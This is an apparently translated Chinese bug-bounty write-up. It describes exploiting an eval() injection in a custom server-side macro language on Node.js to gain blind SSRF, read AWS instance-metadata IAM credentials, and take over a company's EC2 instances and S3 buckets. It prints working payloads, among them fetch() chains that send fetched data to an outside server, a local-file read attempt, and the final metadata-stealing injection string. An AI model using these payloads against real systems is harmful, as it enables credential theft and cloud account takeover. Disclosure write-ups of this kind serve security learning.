看我如何通過nodejs中的SSRF完全控制aws
這是我在hackerone上一個私人漏洞獎金計劃中發現的一個漏洞,發現,利用和寫報告足足花了我12個半小時,都不帶休息的。通過這個漏洞,我可以獲取到AWS的憑證,我可以完全入侵該公司的賬號:現在我手裡有20個buckets和80個EC2例項。另外,這是我挖洞生涯中最有意思的漏洞,學到了很多東西,所以想在此給大家分享一下。
介紹
剛才說過,這是一個私人獎金專案,所以公司名就不方便透露了,我們就叫它ArticMonkey吧。
為了實現他們的web應用程式,ArticMonkey公司開發了一套自定義的巨集語言,就叫做Banana++吧。我不知道這個Banan++這個語言最初是基於什麼語言開發的,但是從web應用中,我發現了一個JavaScript/">JavaScript版本資訊,所以我決定深入挖掘一下。
原始的banan++.js檔案已經壓縮過了,但檔案還是有點大,壓縮後2.1M,美化後2.5M,56441行,2546981個字元,崩潰。當然,我沒有讀完整個程式碼,只是搜尋了一些Banan++特定的一些關鍵詞,在3348行定位到了第一個函式,整個檔案大概有135個函式,既然有這麼多函式,那我就可以對這些函式進行分析,發揮我的專業技能了。
發現問題
我開始從頭看程式碼,但是大部分函式都是進行資料操作或者是數學運算子,沒有什麼可疑的或危險的。找了一會兒,我終於發現了一個Union()函式,可能有戲,程式碼如下:
仔細看程式碼,注意到有一個奇怪的eval()函式,是不是很驚喜,我把程式碼複製到一個本地的HTML檔案中以便進行多次測試。
這個函式可以接收無限個引數,不過第三個引數開始才是有用的引數。這個函式是藉助第二個引數來比較第一個引數和第三個引數的,然後測試第4個,第5個等等。通常的用法是這樣的,Union(1,’<’,3),如果這些測試中至少有一個為真,那麼返回值為true,否則為false。
然而,該函式卻沒有對引數的型別和值進行過濾和淨化,於是我就利用alert()來進行測試,alert()是我最新換的偵錯程式,我發現可以通過不同的方法來觸發漏洞利用,如圖所示:
注入點
現在我們有了一個危險的函式,這已經是一個很好的開始了,不過我們真正需要的是使用者輸入的地方來注入惡意程式碼。我記得在使用Banan++函式時看到過一些post引數,於是在Burp的歷史記錄中找了找,請求響應如下:
可以看到有一個operation引數,可以進行測試一下。
開始注入
由於我對Banan++一無所知,所以我得先進行一些測試來看看我可以注入何種型別的程式碼,下面是一些手工模糊測試,
{...REDACTED...,"operation":"'\"><"}{"status":400,"message":"Parse error on line 1...REDACTED..."} {...REDACTED...,"operation":null}[] {...REDACTED...,"operation":"0"}[] {...REDACTED...,"operation":"1"}[{"name":"REDACTED",...REDACTED...}] {...REDACTED...,"operation":"a"}{"status":400,"message":"Parse error on line 1...REDACTED..."} {...REDACTED...,"operation":"a=1"}{"status":400,"message":"Parse error on line 1...REDACTED..."} {...REDACTED...,"operation":"alert"}{"status":400,"message":"Parse error on line 1...REDACTED..."} {...REDACTED...,"operation":"alert()"}{"status":400,"message":"Function 'alert' is not defined"} {...REDACTED...,"operation":"Union()"}[]
通過這些測試,我總結了以下幾點:
不能注入任意的JavaScript程式碼
可以注入Banan++函式
響應似乎只有真假兩種,取決於引數operation的真假,這對於驗證我注入的程式碼是否有效非常有幫助。
下面我們繼續來對Union()函式進行模糊測試:
{...REDACTED...,"operation":"Union(1,2,3)"}{"status":400,"message":"Parse error on line 1...REDACTED..."} {...REDACTED...,"operation":"Union(a,b,c)"}{"status":400,"message":"Parse error on line 1...REDACTED..."} {...REDACTED...,"operation":"Union('a','b','c')"}{"status":400,"message":"Parse error on line 1...REDACTED..."} {...REDACTED...,"operation":"Union('a';'b';'c')"}[{"name":"REDACTED",...REDACTED...}] {...REDACTED...,"operation":"Union('1';'2';'3')"}[{"name":"REDACTED",...REDACTED...}] {...REDACTED...,"operation":"Union('1';'<';'3')"}[{"name":"REDACTED",...REDACTED...}] {...REDACTED...,"operation":"Union('1';'>';'3')"}[]]
測試效果非常完美,如果測試1<3,響應結果就會包含有效的資料(true),如果測試1>3,響應結果為空(false)。引數必須要用分號來分隔。下面我就要開始嘗試一些真正的攻擊了。
fetch是新的XMLHttpRequest非同步請求
因為請求是對api的一種ajax呼叫,而且只返回json資料,顯然不是一個客戶端注入。而且通過前面的報告,我知道ArticMonkey傾向於在服務端使用大量的JavaScript。
不過,這些都不重要,因為我得嘗試所有東西,可能無意中就能觸發一個錯誤,暴露了執行著JavaScript程式碼的系統的一些敏感資訊。因為我進行了本地測試,所以我知道如何準確的注入惡意程式碼。我測試了基礎的xss payload和錯誤格式的JavaScript程式碼,不過得到的錯誤跟前面的一樣。
然後我嘗試發起HTTP請求。
首先進行ajax呼叫:
x = new XMLHttpRequest; x.open( 'GET','https://poc.myserver.com' ); x.send();
但是沒有什麼收穫,於是我嘗試了HTML注入:
i = document.createElement( 'img' ); i.src = '<img src="https://poc.myserver.com/xxx.png">'; document.body.appendChild( i );
還是沒有任何收穫,繼續嘗試:
document.body.innerHTML += '<img src="https://poc.myserver.com/xxx.png">'; document.body.innerHTML += '<iframe src="https://poc.myserver.com">';
結果還是一樣,沒有收穫。
有時候,你要進行一些很腦殘的測試,你才知道系統設計的有多愚蠢。顯然,這裡嘗試著去渲染HTML程式碼是有問題的。回到ajax請求,我在這裡卡了一段時間,花了很長時間才明白它是如何工作的。
最後我想起來ArticMonkey在前端使用的是ReactJS,後來我才瞭解到他們在伺服器端使用的是nodeJS。於是我Google了一下,如何使用ReactJS執行ajax請求,並最終在官方文件中找到了解決方案,該方案將我引導到fetch()函式,這是執行ajax呼叫的新標準,而這就是關鍵之處:
於是我嘗試瞭如下注入:
fetch('https://poc.myserver.com')
執行之後,立刻就在Apache日誌裡面生成了一行新紀錄。
首先要能ping通我的伺服器,不過它是一個blind SSRF,我沒有收到響應。於是我想著把兩個請求串聯起來,第二個請求能夠傳送第一個請求的結果,如下:
x1 = new XMLHttpRequest;x1.open( 'GET','https://...', false );x1.send();r = x1.responseText; x2 = new XMLHttpRequest;x2.open( 'GET','https://poc.myserver.com/?r='+r, false );x2.send();
接著我再使用fetch()函式的正確語法上又花了不少時間,這還多虧了 ofollow,noindex" target="_blank">stackoverflow 上的一個問題。
最後我的payload如下,執行得非常順利:
fetch('https://...').then(res=>res.text()).then((r)=>fetch('https://poc.myserver.com/?r='+r));
windows上的SSRF
首先,我嘗試讀取本地檔案:
fetch('file:///etc/issue').then(res=>res.text()).then((r)=>fetch('https://poc.myserver.com/?r='+r));
不過Apache日誌檔案中的響應(r引數)卻是空的。
由於我發現了與ArticMonkey(也就是articmonkey-xxx)相關的S3 buckets,所以我猜想這家公司的webapp可能也使用了AWS伺服器(這個也可以在某些想擁抱的header資訊中得到確認:x-cache:Hit from cloudfront)。如此一來,我就迅速的轉移注意力到了最常見的 雲實例的SSRF URL 中了。
當我嘗試訪問例項的元資料時,響應包中正是我想要的結果,這很nice
對輸出結果解碼後,返回的是遍歷出來的目錄
最終payload
{...REDACTED...,"operation":"Union('1';'2;fetch(\"http://169.254.169.254/latest/meta-data/\").then(res=>res.text()).then((r)=>fetch(\"https://poc.myserver.com/?r=\"+r));';'3')"}
因為我是第一次接觸AWS元資料,所以我對它一無所知,我花了很長的時間來研究所有的目錄和檔案,如你所見,最有用的檔案是這個 http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE >,如下所示:
利用憑證
那時候,我本以為可以到此為止了。不過,對於寫poc來說,我想展示這個漏洞的嚴重性,我想搞到一些非常有價值的東西。所以我嘗試使用這些憑證來模擬公司。首先你要知道這些憑證是臨時的,有效期很短,大概5分鐘左右。不過沒關係,5分鐘也足夠了,我可以更新我自己的憑證,就是複製貼上而已,我可以搞定的。
我還在Twitter上諮詢過關於SSRF和AWS的問題,真的非常感謝大佬的指教。最終在 這裡 找到了解決方案。我所犯的錯誤就是沒有好好閱讀官方文件,只是使用了AccessKeyID和SecretAccessKey,但是並沒有效果,token也必須要匯出。
使用下列命令來確認我的身份,表明我的身份已經發生了變化:
aws sts get-caller-identity
然後
左圖:經過ArticMonkey配置過的EC2例項列表。可能是他們系統的大部分例項或者是全部。
右圖:該公司擁有20個buckets,包括使用者的高度敏感的資料,web應用的靜態檔案,還有,依據buckets名字可能是他們伺服器的日誌或者備份檔案。
這個漏洞的影響可以說是非常致命了。
總結
從這個漏洞中我學到了很多東西:
ReactJS,fetch()函式,AWS元資料。
RTFM!官方文件始終是有用資訊的重要來源。
每一步都會產生問題,我不得不大量查資料搜尋,嘗試不同的事情,也需要竭盡全力,不輕易放棄。
現在我知道我可以從0開始到完全入侵一個系統,這是一個非常不錯的個人成就,我對此也感覺到很滿意。
所以,當有人告訴你無法完成某些事情時,記住,不要跟這些人浪費口舌,用行動來證明他們是錯的。